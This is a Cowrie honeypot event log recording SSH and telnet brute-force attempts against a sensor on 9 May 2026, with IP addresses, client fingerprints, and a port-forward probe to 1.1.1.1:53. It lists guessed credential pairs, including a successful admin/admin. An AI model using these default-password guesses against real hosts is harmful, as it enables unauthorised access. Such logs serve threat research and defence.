{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:08.710649Z","src_ip":"79.104.0.82","session":"f8e0692a5a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":37374,"dst_ip":"159.203.135.109","dst_port":22,"session":"827ed8c0cdf7","protocol":"ssh","message":"New connection: 47.239.15.75:37374 (159.203.135.109:22) [session: 827ed8c0cdf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:12.768363Z"}
{"eventid":"cowrie.session.connect","src_ip":"218.0.88.177","src_port":39625,"dst_ip":"10.17.0.5","dst_port":23,"session":"79ad935f0ac8","protocol":"telnet","message":"New connection: 218.0.88.177:39625 (10.17.0.5:23) [session: 79ad935f0ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:13.496810Z"}
{"eventid":"cowrie.session.closed","duration":30.692311763763428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:17.206554Z","src_ip":"213.63.236.79","session":"1397b62f97e2","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d","size":829,"shasum":"2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d","duplicate":true,"duration":"35.3","message":"Closing TTY Log: var/lib/cowrie/tty/2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d after 35.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:20.014462Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.0","message":"Connection lost after 37.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:20.216228Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85800337791443,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:24.320335Z","src_ip":"45.58.127.90","session":"108115cb4d4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.201404094696045,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:27.698093Z","src_ip":"218.0.88.177","session":"79ad935f0ac8","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:31.118767Z","src_ip":"47.239.15.75","session":"827ed8c0cdf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:31.122488Z","src_ip":"47.239.15.75","session":"827ed8c0cdf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":33184,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5244bde314c","protocol":"ssh","message":"New connection: 47.239.15.75:33184 (159.203.135.109:22) [session: a5244bde314c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:40.651336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:42.774126Z","src_ip":"47.239.15.75","session":"a5244bde314c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33842,"dst_ip":"10.17.0.5","dst_port":23,"session":"8679d6b3c2a2","protocol":"telnet","message":"New connection: 45.58.127.90:33842 (10.17.0.5:23) [session: 8679d6b3c2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:50.944513Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:52.748865Z","src_ip":"47.239.15.75","session":"827ed8c0cdf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.2","message":"Connection lost after 42.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:54.927418Z","src_ip":"47.239.15.75","session":"827ed8c0cdf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":46982,"dst_ip":"10.17.0.5","dst_port":22,"session":"df24f220c7a0","protocol":"ssh","message":"New connection: 79.104.0.82:46982 (10.17.0.5:22) [session: df24f220c7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:56.185011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:56.194100Z","src_ip":"79.104.0.82","session":"df24f220c7a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:56.339789Z","src_ip":"79.104.0.82","session":"df24f220c7a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWERqwer1234","message":"login attempt [ubuntu/QWERqwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:56.937273Z","src_ip":"79.104.0.82","session":"df24f220c7a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:58.081773Z","src_ip":"79.104.0.82","session":"df24f220c7a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44714,"dst_ip":"10.17.0.5","dst_port":22,"session":"83444b09b9d6","protocol":"ssh","message":"New connection: 87.251.64.176:44714 (10.17.0.5:22) [session: 83444b09b9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:59.983303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:59.988133Z","src_ip":"87.251.64.176","session":"83444b09b9d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:00.087855Z","src_ip":"87.251.64.176","session":"83444b09b9d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:00.381778Z","src_ip":"87.251.64.176","session":"83444b09b9d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":32984,"dst_ip":"10.17.0.5","dst_port":23,"session":"193f4c5a4892","protocol":"telnet","message":"New connection: 45.58.127.90:32984 (10.17.0.5:23) [session: 193f4c5a4892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:00.406159Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:00.486078Z","session":"83444b09b9d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:00.585859Z","src_ip":"87.251.64.176","session":"83444b09b9d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53246,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dc7ae620a59","protocol":"telnet","message":"New connection: 147.182.143.59:53246 (159.203.135.109:23) [session: 2dc7ae620a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:00.744864Z"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:00.822381Z","src_ip":"87.251.64.176","session":"83444b09b9d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:03.376522Z","src_ip":"47.239.15.75","session":"a5244bde314c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53258,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa412c425c58","protocol":"telnet","message":"New connection: 147.182.143.59:53258 (159.203.135.109:23) [session: fa412c425c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:07.857241Z"}
{"eventid":"cowrie.session.closed","duration":11.194358825683594,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:11.939085Z","src_ip":"147.182.143.59","session":"2dc7ae620a59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.43.71.167","src_port":59866,"dst_ip":"159.203.135.109","dst_port":23,"session":"963e0cabc2bc","protocol":"telnet","message":"New connection: 195.43.71.167:59866 (159.203.135.109:23) [session: 963e0cabc2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:13.401862Z"}
{"eventid":"cowrie.session.closed","duration":9.153016328811646,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:17.010147Z","src_ip":"147.182.143.59","session":"fa412c425c58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31050,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8143606c0f","protocol":"ssh","message":"New connection: 194.59.206.2:31050 (10.17.0.5:22) [session: 2b8143606c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:24.246193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:24.255973Z","src_ip":"194.59.206.2","session":"2b8143606c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:24.341675Z","src_ip":"194.59.206.2","session":"2b8143606c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:24.523188Z","src_ip":"194.59.206.2","session":"2b8143606c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.815122604370117,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:25.216880Z","src_ip":"195.43.71.167","session":"963e0cabc2bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":41300,"dst_ip":"159.203.135.109","dst_port":22,"session":"87f4210a9ec8","protocol":"ssh","message":"New connection: 47.239.15.75:41300 (159.203.135.109:22) [session: 87f4210a9ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:25.266196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:25.271080Z","src_ip":"47.239.15.75","session":"87f4210a9ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.44983792304993,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:25.394211Z","src_ip":"45.58.127.90","session":"8679d6b3c2a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.33491396903992,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:36.740963Z","src_ip":"45.58.127.90","session":"193f4c5a4892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":37146,"dst_ip":"159.203.135.109","dst_port":22,"session":"f76e56d96176","protocol":"ssh","message":"New connection: 47.239.15.75:37146 (159.203.135.109:22) [session: f76e56d96176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:41.141933Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.192.182","src_port":27221,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dde739772b9","protocol":"telnet","message":"New connection: 144.124.192.182:27221 (10.17.0.5:23) [session: 2dde739772b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:42.075618Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42316,"dst_ip":"10.17.0.5","dst_port":23,"session":"8391328e63e2","protocol":"telnet","message":"New connection: 45.58.127.90:42316 (10.17.0.5:23) [session: 8391328e63e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:42.966750Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":34716,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b750524e254","protocol":"ssh","message":"New connection: 79.104.0.82:34716 (10.17.0.5:22) [session: 6b750524e254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:44.700035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:44.705452Z","src_ip":"79.104.0.82","session":"6b750524e254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:44.852286Z","src_ip":"79.104.0.82","session":"6b750524e254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"temppwd","message":"login attempt [debian/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:13:45.486328Z","src_ip":"79.104.0.82","session":"6b750524e254","protocol":"ssh"}
